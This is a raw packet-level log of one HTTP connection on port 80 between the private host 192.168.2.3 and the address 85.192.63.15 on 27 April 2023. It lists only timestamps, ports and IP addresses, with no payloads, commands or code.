Apr 27, 2023 07:41:58.313081980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.313129902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.313205004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.314393044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.314439058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.314483881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.314506054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.314521074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.314563036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.314635038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.336690903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.336760998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.336843967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.336884975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.336910963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.336997986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.336997986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.336997986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.338321924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.338359118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.338404894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.338418007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.338438988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.338469982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.338485956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.338516951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.338521004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.338560104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.338607073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.341540098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.341577053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.341624975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.341641903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.341660023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.341685057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.341686010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.341705084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.341732979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.341743946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.341775894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.341804981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.343563080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.343616962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.343667030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.343700886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.343702078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.343733072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.343744993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.343771935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.343782902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.343822956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.343847990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.368786097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.368872881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.368918896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.368947029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.369050980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.370280981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.370316029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.370364904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.370398045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.370414019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.370430946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.370451927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.370477915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.370503902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.371927023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.371963024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.372009039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.372026920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.372028112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.372040033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.372071028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.372085094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.372093916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.372121096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.372143030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.372190952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.375633001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.375669003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.375714064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.375747919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.375755072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.375756025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.375788927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.375792027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.375811100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.375828028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.375852108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.375885010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.381221056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.381299973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.381346941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.381406069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.381422997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.381444931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.381444931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.381474972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.382797956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.382844925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.382879972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.382890940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.382908106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.382930994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.382955074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.383006096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.386046886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.386096001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.386128902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.386145115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.386173010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.386181116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.386181116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.386208057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.386235952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.386306047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.387805939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.387855053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.387901068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.387902021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.387929916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.387936115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.387959003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.387995005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.412585974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.412647963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.412669897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.412714005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.412785053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.412930012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.412930012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.414103031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.414139986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.414184093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.414230108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.414269924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.414319038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.414377928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.415669918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.415716887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.415750027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.415792942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.415801048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.415828943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.415884972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.415957928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.417345047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.417392969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.417433023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.417463064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.417499065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.417546988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.460856915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.486284971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529330015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529401064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529433966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529472113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529515028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529560089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529638052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529676914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.529719114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.529719114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.529803991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.529804945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.541995049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542088032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542146921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542201042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542248011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542248964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542248964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542301893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542351007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542387962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542429924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542429924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542429924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542429924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542437077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542484999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542509079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542545080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542550087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542550087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542599916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542623997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542666912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542685032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542707920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542743921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542756081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542789936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542798996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542833090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542867899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542884111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542912960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542951107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.542962074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.542990923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543001890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543051958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543057919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543095112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543107033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543143988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543155909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543179989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543216944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543230057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543286085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543289900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543325901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543359041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543374062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543390989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543443918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543528080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543612003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543636084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543685913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543700933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543731928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543752909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543776035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.543806076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.543839931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555058002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555115938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555192947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555210114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555244923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555277109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555296898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555325985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555339098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555358887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555358887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555387974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555425882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555433035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555469990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555484056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555514097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555546045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555557966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555593967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555618048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555629969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555672884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555677891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555727005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555742025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555768013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555792093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555792093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555816889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555840969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555865049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555888891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555912018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555941105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.555958986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.555994034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556005955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556040049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556052923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556086063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556099892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556123972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556149960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556174994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556200981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556226969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556248903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556272984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556288004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556320906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556370974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556644917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556679010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556716919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556725979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556751966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556772947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556806087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556809902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556854010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556857109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556904078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556915998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556941032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.556972027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556972027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.556988001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557029009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557034969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557068110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557081938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557130098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557177067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557182074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557182074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557214975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557229042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557274103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557524920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557560921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557583094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557607889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557620049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557655096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557672024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557672024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557692051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557718039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557811022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557826042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557851076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.557887077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.557967901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.635438919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.660959959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.704148054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.704252958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.704293966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.704339027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.704363108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.704382896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.704474926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.704474926 CEST	49697	80	192.168.2.3	85.192.63.15
